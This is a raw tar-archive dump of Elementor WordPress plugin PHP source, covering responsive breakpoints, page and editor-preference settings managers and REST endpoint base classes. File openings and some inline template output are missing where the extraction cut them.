true ); // If there is an existing kit with an active breakpoints value saved, use it. if ( isset( $raw_kit_settings[ Settings_Layout::ACTIVE_BREAKPOINTS_CONTROL_ID ] ) ) { $active_breakpoint_keys = $raw_kit_settings[ Settings_Layout::ACTIVE_BREAKPOINTS_CONTROL_ID ]; } } $default_config = self::get_default_config(); foreach ( $default_config as $breakpoint_name => $breakpoint_config ) { $args = [ 'name' => $breakpoint_name ] + $breakpoint_config; // Make sure the two default breakpoints (mobile, tablet) are always enabled. if ( self::BREAKPOINT_KEY_MOBILE === $breakpoint_name || self::BREAKPOINT_KEY_TABLET === $breakpoint_name ) { // Make sure the default Mobile and Tablet breakpoints are always enabled. $args['is_enabled'] = true; } else { // If the breakpoint is in the active breakpoints array, make sure it's instantiated as enabled. $args['is_enabled'] = in_array( $setting_prefix . $breakpoint_name, $active_breakpoint_keys, true ); } $breakpoints[ $breakpoint_name ] = new Breakpoint( $args ); } $this->breakpoints = $breakpoints; } /** * Init Active Breakpoints * * Create/Refresh the array of --enabled-- breakpoints. * * @since 3.2.0 */ private function init_active_breakpoints() { $this->active_breakpoints = array_filter( $this->get_breakpoints(), function( $breakpoint ) { /** @var Breakpoint $breakpoint */ return $breakpoint->is_enabled(); } ); } private function get_desktop_previous_device_key() { $config_array_keys = array_keys( $this->get_active_breakpoints() ); $num_of_devices = count( $config_array_keys ); // If the widescreen breakpoint is active, the device that's previous to desktop is the last one before // widescreen. if ( self::BREAKPOINT_KEY_WIDESCREEN === $config_array_keys[ $num_of_devices - 1 ] ) { $desktop_previous_device = $config_array_keys[ $num_of_devices - 2 ]; } else { // If the widescreen breakpoint isn't active, we just take the last device returned by the config. $desktop_previous_device = $config_array_keys[ $num_of_devices - 1 ]; } return $desktop_previous_device; } /** * Get Stylesheet Templates * * @since 3.2.0 * @access private * @static */ private static function get_stylesheet_templates() { $templates_paths = glob( self::get_stylesheet_templates_path() . '*.css' ); $templates = []; foreach ( $templates_paths as $template_path ) { $file_name = 'custom-' . basename( $template_path ); $templates[ $file_name ] = $template_path; } $deprecated_hook = 'elementor/core/responsive/get_stylesheet_templates'; $replacement_hook = 'elementor/core/breakpoints/get_stylesheet_template'; /** * @type Deprecation $deprecation_module */ $deprecation_module = Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation; // TODO: REMOVE THIS DEPRECATED HOOK IN ELEMENTOR v3.10.0/v4.0.0 $templates = $deprecation_module->apply_deprecated_filter( $deprecated_hook, [ $templates ], '3.2.0', $replacement_hook ); return apply_filters( $replacement_hook, $templates ); } } core/settings/page/model.php000064400000007576147206604650012112 0ustar00post = get_post( $data['id'] ); if ( ! $this->post ) { $this->post = new \WP_Post( (object) [] ); } if ( wp_is_post_revision( $this->post->ID ) ) { $this->post_parent = get_post( $this->post->post_parent ); } else { $this->post_parent = $this->post; } parent::__construct( $data ); } /** * Get model name. * * Retrieve page settings model name. * * @since 1.6.0 * @access public * * @return string Model name. */ public function get_name() { return 'page-settings'; } /** * Get model unique name. * * Retrieve page settings model unique name. * * @since 1.6.0 * @access public * * @return string Model unique name. */ public function get_unique_name() { return $this->get_name() . '-' . $this->post->ID; } /** * Get CSS wrapper selector. * * Retrieve the wrapper selector for the page settings model. * * @since 1.6.0 * @access public * * @return string CSS wrapper selector. */ public function get_css_wrapper_selector() { $document = Plugin::$instance->documents->get( $this->post_parent->ID ); return $document->get_css_wrapper_selector(); } /** * Get panel page settings. * * Retrieve the panel setting for the page settings model. * * @since 1.6.0 * @access public * * @return array { * Panel settings. * * @type string $title The panel title. * } */ public function get_panel_page_settings() { $document = Plugin::$instance->documents->get( $this->post->ID ); return [ 'title' => sprintf( /* translators: %s: Document title. */ esc_html__( '%s Settings', 'elementor' ), $document::get_title() ), ]; } /** * On export post meta. * * When exporting data, check if the post is not using page template and * exclude it from the exported Elementor data. * * @since 1.6.0 * @access public * * @param array $element_data Element data. * * @return array Element data to be exported. */ public function on_export( $element_data ) { if ( ! empty( $element_data['settings']['template'] ) ) { /** * @var \Elementor\Modules\PageTemplates\Module $page_templates_module */ $page_templates_module = Plugin::$instance->modules_manager->get_modules( 'page-templates' ); $is_elementor_template = ! ! $page_templates_module->get_template_path( $element_data['settings']['template'] ); if ( ! $is_elementor_template ) { unset( $element_data['settings']['template'] ); } } return $element_data; } /** * Register model controls. * * Used to add new controls to the page settings model. * * @since 3.1.0 * @access protected */ protected function register_controls() { // Check if it's a real model, or abstract (for example - on import ) if ( $this->post->ID ) { $document = Plugin::$instance->documents->get_doc_or_auto_save( $this->post->ID ); if ( $document ) { $controls = $document->get_controls(); foreach ( $controls as $control_id => $args ) { $this->add_control( $control_id, $args ); } } } } } core/settings/page/manager.php000064400000020557147206604650012416 0ustar00editor->is_edit_mode() ) { return null; } if ( Plugin::$instance->editor->is_edit_mode() ) { $post_id = Plugin::$instance->editor->get_post_id(); $document = Plugin::$instance->documents->get_doc_or_auto_save( $post_id ); } else { $post_id = get_the_ID(); $document = Plugin::$instance->documents->get_doc_for_frontend( $post_id ); } if ( ! $document ) { return null; } $model = $this->get_model( $document->get_post()->ID ); if ( $document->is_autosave() ) { $model->set_settings( 'post_status', $document->get_main_post()->post_status ); } return $model; } /** * Ajax before saving settings. * * Validate the data before saving it and updating the data in the database. * * @since 1.6.0 * @access public * * @param array $data Post data. * @param int $id Post ID. * * @throws \Exception If invalid post returned using the `$id`. * @throws \Exception If current user don't have permissions to edit the post. */ public function ajax_before_save_settings( array $data, $id ) { $post = get_post( $id ); if ( empty( $post ) ) { throw new \Exception( 'Invalid post.', Exceptions::NOT_FOUND ); } if ( ! Utils::is_wp_cli() && ! current_user_can( 'edit_post', $id ) ) { throw new \Exception( 'Access denied.', Exceptions::FORBIDDEN ); } // Avoid save empty post title. if ( ! empty( $data['post_title'] ) ) { $post->post_title = $data['post_title']; } if ( isset( $data['post_excerpt'] ) && post_type_supports( $post->post_type, 'excerpt' ) ) { $post->post_excerpt = $data['post_excerpt']; } if ( isset( $data['menu_order'] ) && is_post_type_hierarchical( $post->post_type ) ) { $post->menu_order = $data['menu_order']; } if ( isset( $data['post_status'] ) ) { $this->save_post_status( $id, $data['post_status'] ); unset( $post->post_status ); } if ( isset( $data['comment_status'] ) && post_type_supports( $post->post_type, 'comments' ) ) { $post->comment_status = $data['comment_status']; } wp_update_post( $post ); // Check updated status if ( Document::STATUS_PUBLISH === get_post_status( $id ) ) { $autosave = wp_get_post_autosave( $post->ID ); if ( $autosave ) { wp_delete_post_revision( $autosave->ID ); } } if ( isset( $data['post_featured_image'] ) && post_type_supports( $post->post_type, 'thumbnail' ) ) { if ( empty( $data['post_featured_image']['id'] ) ) { delete_post_thumbnail( $post->ID ); } else { set_post_thumbnail( $post->ID, $data['post_featured_image']['id'] ); } } if ( Utils::is_cpt_custom_templates_supported() ) { $template = get_metadata( 'post', $post->ID, '_wp_page_template', true ); if ( isset( $data['template'] ) ) { $template = $data['template']; } if ( empty( $template ) ) { $template = 'default'; } // Use `update_metadata` in order to save also for revisions. update_metadata( 'post', $post->ID, '_wp_page_template', $template ); } } /** * @inheritDoc * * Override parent because the page setting moved to document.settings. */ protected function print_editor_template_content( $name ) { ?> <# const tabs = elementor.config.document.settings.tabs; if ( Object.values( tabs ).length > 1 ) { #>
<# _.each( tabs, function( tabTitle, tabSlug ) { $e.bc.ensureTab( 'panel/page-settings', tabSlug ); #> <# } ); #>
<# } #>
get_post_id(); if ( $css_file instanceof Post_Preview ) { $autosave = Utils::get_post_autosave( $post_id ); if ( $autosave ) { $post_id = $autosave->ID; } } return $this->get_model( $post_id ); } /** * Get special settings names. * * Retrieve the names of the special settings that are not saved as regular * settings. Those settings have a separate saving process. * * @since 1.6.0 * @access protected * * @return array Special settings names. */ protected function get_special_settings_names() { return [ 'id', 'post_title', 'post_status', 'template', 'post_excerpt', 'post_featured_image', 'menu_order', 'comment_status', ]; } /** * @since 2.0.0 * @access public * * @param $post_id * @param $status */ public function save_post_status( $post_id, $status ) { $parent_id = wp_is_post_revision( $post_id ); if ( $parent_id ) { // Don't update revisions post-status return; } $parent_id = $post_id; $post = get_post( $parent_id ); $allowed_post_statuses = get_post_statuses(); if ( isset( $allowed_post_statuses[ $status ] ) ) { $post_type_object = get_post_type_object( $post->post_type ); if ( 'publish' !== $status || current_user_can( $post_type_object->cap->publish_posts ) ) { $post->post_status = $status; } } wp_update_post( $post ); } } core/settings/base/model.php000064400000001135147206604650012071 0ustar00get_css_file_name(); add_action( "elementor/css-file/{$name}/parse", [ $this, 'add_settings_css_rules' ] ); } /** * Save settings. * * Save settings to the database and update the CSS file. * * @since 2.8.0 * @access public * * @param array $settings Settings. * @param int $id Optional. Post ID. Default is `0`. */ public function save_settings( array $settings, $id = 0 ) { parent::save_settings( $settings, $id ); $css_file = $this->get_css_file_for_update( $id ); if ( $css_file ) { $css_file->update(); } } /** * Add settings CSS rules. * * Add new CSS rules to the settings manager. * * Fired by `elementor/css-file/{$name}/parse` action. * * @since 2.8.0 * @access public * * @param CSS_File $css_file The requested CSS file. * */ public function add_settings_css_rules( CSS_File $css_file ) { $model = $this->get_model_for_css_file( $css_file ); $css_file->add_controls_stack_style_rules( $model, $css_file->get_style_controls( $model, null, $model->get_settings() ), $model->get_settings(), [ '{{WRAPPER}}' ], [ $model->get_css_wrapper_selector() ] ); } } core/settings/base/manager.php000064400000017156147206604650012415 0ustar00get_name(); $ajax_manager->register_ajax_action( "save_{$name}_settings", [ $this, 'ajax_save_settings' ] ); } /** * Get model for config. * * Retrieve the model for settings configuration. * * @since 1.6.0 * @access public * @abstract * * @return Model The model object. */ abstract public function get_model_for_config(); /** * Get manager name. * * Retrieve settings manager name. * * @since 1.6.0 * @access public * @abstract */ abstract public function get_name(); /** * Get model. * * Retrieve the model for any given model ID. * * @since 1.6.0 * @access public * * @param int $id Optional. Model ID. Default is `0`. * * @return Model The model. */ final public function get_model( $id = 0 ) { if ( ! isset( $this->models_cache[ $id ] ) ) { $this->create_model( $id ); } return $this->models_cache[ $id ]; } /** * Ajax request to save settings. * * Save settings using an ajax request. * * @since 1.6.0 * @access public * * @param array $request Ajax request. * * @return array Ajax response data. */ final public function ajax_save_settings( $request ) { $data = $request['data']; $id = 0; if ( ! empty( $request['id'] ) ) { $id = $request['id']; } $this->ajax_before_save_settings( $data, $id ); $this->save_settings( $data, $id ); $settings_name = $this->get_name(); $success_response_data = []; /** * Settings success response data. * * Filters the success response data when saving settings using ajax. * * The dynamic portion of the hook name, `$settings_name`, refers to the settings name. * * @since 2.0.0 * * @param array $success_response_data Success response data. * @param int $id Settings ID. * @param array $data Settings data. */ $success_response_data = apply_filters( "elementor/settings/{$settings_name}/success_response_data", $success_response_data, $id, $data ); return $success_response_data; } /** * Save settings. * * Save settings to the database. * * @since 1.6.0 * @access public * * @param array $settings Settings. * @param int $id Optional. Post ID. Default is `0`. */ public function save_settings( array $settings, $id = 0 ) { $special_settings = $this->get_special_settings_names(); $settings_to_save = $settings; foreach ( $special_settings as $special_setting ) { if ( isset( $settings_to_save[ $special_setting ] ) ) { unset( $settings_to_save[ $special_setting ] ); } } $this->save_settings_to_db( $settings_to_save, $id ); // Clear cache after save. if ( isset( $this->models_cache[ $id ] ) ) { unset( $this->models_cache[ $id ] ); } } /** * On Elementor init. * * Add editor template for the settings * * Fired by `elementor/init` action. * * @since 2.3.0 * @access public */ public function on_elementor_editor_init() { Plugin::$instance->common->add_template( $this->get_editor_template(), 'text' ); } /** * Get saved settings. * * Retrieve the saved settings from the database. * * @since 1.6.0 * @access protected * @abstract * * @param int $id Post ID. */ abstract protected function get_saved_settings( $id ); /** * Save settings to DB. * * Save settings to the database. * * @since 1.6.0 * @access protected * @abstract * * @param array $settings Settings. * @param int $id Post ID. */ abstract protected function save_settings_to_db( array $settings, $id ); /** * Get special settings names. * * Retrieve the names of the special settings that are not saved as regular * settings. Those settings have a separate saving process. * * @since 1.6.0 * @access protected * * @return array Special settings names. */ protected function get_special_settings_names() { return []; } /** * Ajax before saving settings. * * Validate the data before saving it and updating the data in the database. * * @since 1.6.0 * @access public * * @param array $data Post data. * @param int $id Post ID. */ public function ajax_before_save_settings( array $data, $id ) {} /** * Print the setting template content in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.6.0 * @access protected * * @param string $name Settings panel name. */ protected function print_editor_template_content( $name ) { ?> <# const tabs = elementor.config.settings..tabs; if ( Object.values( tabs ).length > 1 ) { #>
<# _.each( tabs, function( tabTitle, tabSlug ) { $e.bc.ensureTab( 'panel/-settings', tabSlug ); #> <# } ); #>
<# } #>
models_cache[ $id ] = new $class_name( [ 'id' => $id, 'settings' => $this->get_saved_settings( $id ), ] ); } /** * Get editor template. * * Retrieve the final HTML for the editor. * * @since 1.6.0 * @access private * * @return string Settings editor template. */ private function get_editor_template() { $name = $this->get_name(); ob_start(); ?> get_name() ] = $manager; } /** * Get settings managers. * * Retrieve registered settings manager(s). * * If no parameter passed, it will retrieve all the settings managers. For * any given parameter it will retrieve a single settings manager if one * exist, or `null` otherwise. * * @since 1.6.0 * @access public * @static * * @param string $manager_name Optional. Settings manager name. Default is * null. * * @return Base\Manager|Base\Manager[] Single settings manager, if it exists, * null if it doesn't exists, or the all * the settings managers if no parameter * defined. */ public static function get_settings_managers( $manager_name = null ) { if ( $manager_name ) { // Backwards compatibility for `general` manager, since 3.0.0. // Register the class only if needed. if ( 'general' === $manager_name ) { // TODO: _deprecated_argument( $manager_name, '3.0.0', 'Plugin::$instance->kits_manager->get_active_kit_for_frontend();' ); $manager_class = self::get_manager_class( $manager_name ); self::add_settings_manager( new $manager_class() ); } if ( isset( self::$settings_managers[ $manager_name ] ) ) { return self::$settings_managers[ $manager_name ]; } return null; } return self::$settings_managers; } /** * Register default settings managers. * * Register builtin Elementor settings managers. * * @since 1.6.0 * @access private * @static */ private static function register_default_settings_managers() { foreach ( self::$builtin_settings_managers_names as $manager_name ) { $manager_class = self::get_manager_class( $manager_name ); self::add_settings_manager( new $manager_class() ); } } /** * Get class path for default settings managers. * * @param $manager_name * * @return string * @since 3.0.0 * @access private * @static */ private static function get_manager_class( $manager_name ) { return __NAMESPACE__ . '\\' . ucfirst( $manager_name ) . '\Manager'; } /** * Get settings managers config. * * Retrieve the settings managers configuration. * * @since 1.6.0 * @access public * @static * * @return array The settings managers configuration. */ public static function get_settings_managers_config() { $config = []; $user_can = Plugin::instance()->role_manager->user_can( 'design' ); foreach ( self::$settings_managers as $name => $manager ) { $settings_model = $manager->get_model_for_config(); $tabs = $settings_model->get_tabs_controls(); if ( ! $user_can ) { unset( $tabs['style'] ); } $config[ $name ] = [ 'name' => $manager->get_name(), 'panelPage' => $settings_model->get_panel_page_settings(), 'controls' => $settings_model->get_controls(), 'tabs' => $tabs, 'settings' => $settings_model->get_settings(), ]; if ( $settings_model instanceof CSS_Model ) { $config[ $name ]['cssWrapperSelector'] = $settings_model->get_css_wrapper_selector(); } } return $config; } /** * Get settings frontend config. * * Retrieve the settings managers frontend configuration. * * @since 1.6.0 * @access public * @static * * @return array The settings managers frontend configuration. */ public static function get_settings_frontend_config() { $config = []; foreach ( self::$settings_managers as $name => $manager ) { $settings_model = $manager->get_model_for_config(); if ( $settings_model ) { $config[ $name ] = $settings_model->get_frontend_settings(); } } return $config; } /** * Run settings managers. * * Register builtin Elementor settings managers. * * @since 1.6.0 * @access public * @static */ public static function run() { self::register_default_settings_managers(); } } core/settings/editor-preferences/model.php000064400000013077147206604650014754 0ustar00 esc_html__( 'User Preferences', 'elementor' ), ]; } /** * @since 3.1.0 * @access protected */ protected function register_controls() { $this->start_controls_section( 'preferences', [ 'tab' => Controls_Manager::TAB_SETTINGS, 'label' => esc_html__( 'Preferences', 'elementor' ), ] ); $this->add_control( 'editor_heading', [ 'label' => esc_html__( 'Panel', 'elementor' ), 'type' => Controls_Manager::HEADING, ] ); $this->add_control( 'ui_theme', [ 'label' => esc_html__( 'Display mode', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'light' => [ 'title' => esc_html__( 'Light mode', 'elementor' ), 'icon' => 'eicon-light-mode', ], 'dark' => [ 'title' => esc_html__( 'Dark mode', 'elementor' ), 'icon' => 'eicon-dark-mode', ], 'auto' => [ 'title' => esc_html__( 'Auto detect', 'elementor' ), 'icon' => 'eicon-header', ], ], 'default' => 'auto', 'description' => esc_html__( 'Set light or dark mode, or auto-detect to sync with your operating system settings.', 'elementor' ), ] ); $this->add_control( 'panel_width', [ 'label' => esc_html__( 'Width', 'elementor' ) . ' (px)', 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 200, 'max' => 680, ], ], 'default' => [ 'size' => 300, ], ] ); $this->add_control( 'preview_heading', [ 'label' => esc_html__( 'Canvas', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); if ( ! Plugin::$instance->experiments->is_feature_active( AppBarModule::EXPERIMENT_NAME ) ) { $this->add_control( 'default_device_view', [ 'label' => esc_html__( 'Default device view', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'mobile' => esc_html__( 'Mobile', 'elementor' ), 'tablet' => esc_html__( 'Tablet', 'elementor' ), 'desktop' => esc_html__( 'Desktop', 'elementor' ), ], 'description' => esc_html__( 'Choose which device to display when clicking the Responsive Mode icon.', 'elementor' ), ] ); } $this->add_control( 'edit_buttons', [ 'label' => esc_html__( 'Show quick edit options', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'description' => esc_html__( 'Show additional actions while hovering over the handle of an element.', 'elementor' ), ] ); $this->add_control( 'lightbox_in_editor', [ 'label' => esc_html__( 'Expand images in lightbox', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'description' => esc_html__( 'This only applies while you’re working in the editor. The front end won’t be affected.', 'elementor' ), ] ); $this->add_control( 'show_hidden_elements', [ 'label' => esc_html__( 'Show hidden elements', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'default' => 'yes', 'description' => esc_html__( 'This refers to elements you’ve hidden in the Responsive Visibility settings.', 'elementor' ), ] ); $this->add_control( 'design_system_heading', [ 'label' => esc_html__( 'Design System', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'enable_styleguide_preview', [ 'label' => esc_html__( 'Show global settings', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'description' => esc_html__( 'Temporarily overlay the canvas with the style guide to preview your changes to global colors and fonts.', 'elementor' ), ] ); $this->add_control( 'navigation_heading', [ 'label' => esc_html__( 'Navigation', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'exit_to', [ 'label' => esc_html__( 'Exit to', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'this_post', 'options' => [ 'this_post' => esc_html__( 'This Post', 'elementor' ), 'all_posts' => esc_html__( 'All Posts', 'elementor' ), 'dashboard' => esc_html__( 'WP Dashboard', 'elementor' ), ], 'description' => esc_html__( 'Decide where you want to go when leaving the editor.', 'elementor' ), ] ); $this->end_controls_section(); } } core/settings/editor-preferences/manager.php000064400000002662147206604650015264 0ustar00get_model(); } /** * Get manager name. * * Retrieve settings manager name. * * @since 2.8.0 * @access public */ public function get_name() { return 'editorPreferences'; } /** * Get saved settings. * * Retrieve the saved settings from the database. * * @since 2.8.0 * @access protected * * @param int $id. * @return array * */ protected function get_saved_settings( $id ) { $settings = get_user_meta( get_current_user_id(), self::META_KEY, true ); if ( ! $settings ) { $settings = []; } return $settings; } /** * Save settings to DB. * * Save settings to the database. * * @param array $settings Settings. * @param int $id Post ID. * @since 2.8.0 * @access protected * */ protected function save_settings_to_db( array $settings, $id ) { update_user_meta( get_current_user_id(), self::META_KEY, $settings ); } } core/settings/general/model.php000064400000002312147206604650012572 0ustar00kits_manager->get_active_kit_for_frontend() instead. * it changed to support call like this: Manager::get_settings_managers( 'general' )->get_model()->get_settings( 'elementor_default_generic_fonts' ) * * @deprecated 3.0.0 Use `Plugin::$instance->kits_manager->get_active_kit_for_frontend()` instead. */ class Model { /** * @deprecated 3.0.0 */ public function get_name() { return 'general-deprecated'; } /** * @deprecated 3.0.0 */ public function get_panel_page_settings() { return []; } /** * @deprecated 3.0.0 */ public function get_tabs_controls() { return []; } /** * @deprecated 3.0.0 */ public function get_frontend_settings() { return []; } /** * @deprecated 3.0.0 */ public function get_controls() { return []; } /** * @deprecated 3.0.0 */ public function get_settings( $setting = null ) { if ( $setting ) { $setting = str_replace( 'elementor_', '', $setting ); } return Plugin::$instance->kits_manager->get_current_settings( $setting ); } } core/settings/general/manager.php000064400000005050147206604650013106 0ustar00kits_manager->get_active_kit_for_frontend() instead. * it changed to support call like this: Manager::get_settings_managers( 'general' )->get_model()->get_settings( 'elementor_default_generic_fonts' ) * * @deprecated 3.0.0 Use `Plugin::$instance->kits_manager->get_active_kit_for_frontend()` instead. */ class Manager extends CSS_Manager { /** * Meta key for the general settings. * * @deprecated 3.0.0 */ const META_KEY = '_elementor_general_settings'; /** * General settings manager constructor. * * Initializing Elementor general settings manager. * * @since 1.6.0 * @deprecated 3.0.0 * @access public */ public function __construct() { parent::__construct(); _deprecated_file( __FILE__, '3.0.0', 'Plugin::$instance->kits_manager->get_active_kit_for_frontend()' ); $name = $this->get_css_file_name(); remove_action( "elementor/css-file/{$name}/parse", [ $this, 'add_settings_css_rules' ] ); } /** * Get manager name. * * Retrieve general settings manager name. * * @since 1.6.0 * @deprecated 3.0.0 * @access public * * @return string Manager name. */ public function get_name() { return 'general'; } /** * Get model for config. * * Retrieve the model for settings configuration. * * @since 1.6.0 * @deprecated 3.0.0 * @access public * * @return BaseModel The model object. */ public function get_model_for_config() { return $this->get_model(); } /** * @deprecated 3.0.0 */ protected function get_saved_settings( $id ) { return []; } /** * Get CSS file name. * * Retrieve CSS file name for the general settings manager. * * @since 1.6.0 * @deprecated 3.0.0 * @access protected * @return string * * @return string CSS file name. */ protected function get_css_file_name() { return 'global'; } /** * @deprecated 3.0.0 */ protected function save_settings_to_db( array $settings, $id ) { throw new \Exception( __CLASS__ . ' is deprecated. Use Plugin::$instance->kits_manager->get_active_kit_for_frontend() instead.' ); } /** * @deprecated 3.0.0 */ protected function get_model_for_css_file( Base $css_file ) { return false; } /** * @deprecated 3.0.0 */ protected function get_css_file_for_update( $id ) { return false; } } data/base/endpoint.php000064400000021633147206604650010737 0ustar00>register()`. * * @param \Elementor\Data\Base\Controller $controller * * @throws \Exception */ public function __construct( $controller ) { if ( ! ( $controller instanceof Controller ) ) { throw new \Exception( 'Invalid controller.' ); } $this->controller = $controller; $this->register(); } /** * Get endpoint name. * * @return string */ abstract public function get_name(); /** * Get base route. * * Removing 'index' from endpoint. * * @return string */ public function get_base_route() { $endpoint_name = $this->get_name(); // TODO: Allow this only for internal routes. // TODO: Make difference between internal and external endpoints. if ( 'index' === $endpoint_name ) { $endpoint_name = ''; } return '/' . $this->controller->get_rest_base() . '/' . $endpoint_name; } /** * Register the endpoint. * * By default: register get items route. * * @throws \Exception */ protected function register() { $this->register_items_route(); } /** * Register sub endpoint. * * @param string $route * @param string $endpoint_class * * @return \Elementor\Data\Base\SubEndpoint * @throws \Exception */ protected function register_sub_endpoint( $route, $endpoint_class ) { $endpoint_instance = new $endpoint_class( $route, $this ); if ( ! ( $endpoint_instance instanceof SubEndpoint ) ) { throw new \Exception( 'Invalid endpoint instance.' ); } $endpoint_route = $route . '/' . $endpoint_instance->get_name(); $this->sub_endpoints[ $endpoint_route ] = $endpoint_instance; $component_name = $endpoint_instance->controller->get_rest_base(); $parent_instance = $endpoint_instance->get_parent(); $parent_name = $endpoint_instance->get_name(); $parent_format_suffix = $parent_instance::get_format(); $current_format_suffix = $endpoint_instance::get_format(); $command = $component_name . '/' . $parent_name; $format = $component_name . '/' . $parent_format_suffix . '/' . $parent_name . '/' . $current_format_suffix; Manager::instance()->register_endpoint_format( $command, $format ); return $endpoint_instance; } /** * Base callback. * * All reset requests from the client should pass this function. * * @param string $methods * @param \WP_REST_Request $request * @param bool $is_multi * * @return mixed|\WP_Error|\WP_HTTP_Response|\WP_REST_Response * @throws \Exception */ public function base_callback( $methods, $request, $is_multi = false ) { // TODO: Find better solution. $json_params = $request->get_json_params(); if ( $json_params ) { $request->set_body_params( $json_params ); } // TODO: Handle permission callback. switch ( $methods ) { case WP_REST_Server::READABLE: $result = $is_multi ? $this->get_items( $request ) : $this->get_item( $request->get_param( 'id' ), $request ); break; case WP_REST_Server::CREATABLE: $result = $is_multi ? $this->create_items( $request ) : $this->create_item( $request->get_param( 'id' ), $request ); break; case WP_REST_Server::EDITABLE: $result = $is_multi ? $this->update_items( $request ) : $this->update_item( $request->get_param( 'id' ), $request ); break; case WP_REST_Server::DELETABLE: $result = $is_multi ? $this->delete_items( $request ) : $this->delete_item( $request->get_param( 'id' ), $request ); break; default: throw new \Exception( 'Invalid method.' ); } return rest_ensure_response( $result ); } /** * Retrieves a collection of items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { return $this->controller->get_items( $request ); } /** * Retrieves one item from the collection. * * @param string $id * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function get_item( $id, $request ) { return $this->controller->get_item( $request ); } /** * Get permission callback. * * By default get permission callback from the controller. * * @param \WP_REST_Request $request Full data about the request. * * @return boolean */ public function get_permission_callback( $request ) { return $this->controller->get_permission_callback( $request ); } /** * Creates one item. * * @param string $id id of request item. * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function create_item( $id, $request ) { return $this->controller->create_item( $request ); } /** * Creates multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function create_items( $request ) { return $this->controller->create_items( $request ); } /** * Updates one item. * * @param string $id id of request item. * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function update_item( $id, $request ) { return $this->controller->update_item( $request ); } /** * Updates multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function update_items( $request ) { return $this->controller->update_items( $request ); } /** * Delete one item. * * @param string $id id of request item. * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function delete_item( $id, $request ) { return $this->controller->delete_item( $request ); } /** * Delete multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function delete_items( $request ) { return $this->controller->delete_items( $request ); } /** * Register item route. * * @param array $args * @param string $route * @param string $methods * * @throws \Exception */ public function register_item_route( $methods = WP_REST_Server::READABLE, $args = [], $route = '/' ) { $args = array_merge( [ 'id' => [ 'description' => 'Unique identifier for the object.', 'type' => 'string', ], ], $args ); if ( isset( $args['id'] ) && $args['id'] ) { $route .= '(?P[\w]+)/'; } $this->register_route( $route, $methods, function ( $request ) use ( $methods ) { return $this->base_callback( $methods, $request ); }, $args ); } /** * Register items route. * * @param string $methods * * @throws \Exception */ public function register_items_route( $methods = WP_REST_Server::READABLE ) { $this->register_route( '', $methods, function ( $request ) use ( $methods ) { return $this->base_callback( $methods, $request, true ); } ); } /** * Register route. * * @param string $route * @param string $methods * @param null $callback * @param array $args * * @return bool * @throws \Exception */ public function register_route( $route = '', $methods = WP_REST_Server::READABLE, $callback = null, $args = [] ) { if ( ! in_array( $methods, self::AVAILABLE_METHODS, true ) ) { throw new \Exception( 'Invalid method.' ); } $route = $this->get_base_route() . $route; return register_rest_route( $this->controller->get_namespace(), $route, [ [ 'args' => $args, 'methods' => $methods, 'callback' => $callback, 'permission_callback' => function ( $request ) { return $this->get_permission_callback( $request ); }, ], ] ); } } data/base/processor.php000064400000000674147206604650011140 0ustar00controller = $controller; } /** * Get processor command. * * @return string */ abstract public function get_command(); } data/base/processor/after.php000064400000000724147206604650012235 0ustar00deprecated(); $this->namespace = Manager::ROOT_NAMESPACE . '/v' . Manager::VERSION; $this->rest_base = Manager::REST_BASE . $this->get_name(); add_action( 'rest_api_init', function () { $this->register(); // Because 'register' is protected. } ); /** * Since all actions were removed for custom internal REST server. * Re-add the actions. */ add_action( 'elementor_rest_api_before_init', function () { add_action( 'rest_api_init', function() { $this->register(); } ); } ); } /** * Get controller name. * * @return string */ abstract public function get_name(); /** * Get controller namespace. * * @return string */ public function get_namespace() { return $this->namespace; } /** * Get controller reset base. * * @return string */ public function get_rest_base() { return $this->rest_base; } /** * Get controller route. * * @return string */ public function get_controller_route() { return $this->get_namespace() . '/' . $this->get_rest_base(); } /** * Retrieves the index for a controller. * * @return \WP_REST_Response|\WP_Error */ public function get_controller_index() { $server = rest_get_server(); $routes = $server->get_routes(); $endpoints = array_intersect_key( $server->get_routes(), $routes ); $controller_route = $this->get_controller_route(); array_walk( $endpoints, function ( &$item, $endpoint ) use ( &$endpoints, $controller_route ) { if ( ! strstr( $endpoint, $controller_route ) ) { unset( $endpoints[ $endpoint ] ); } } ); $data = 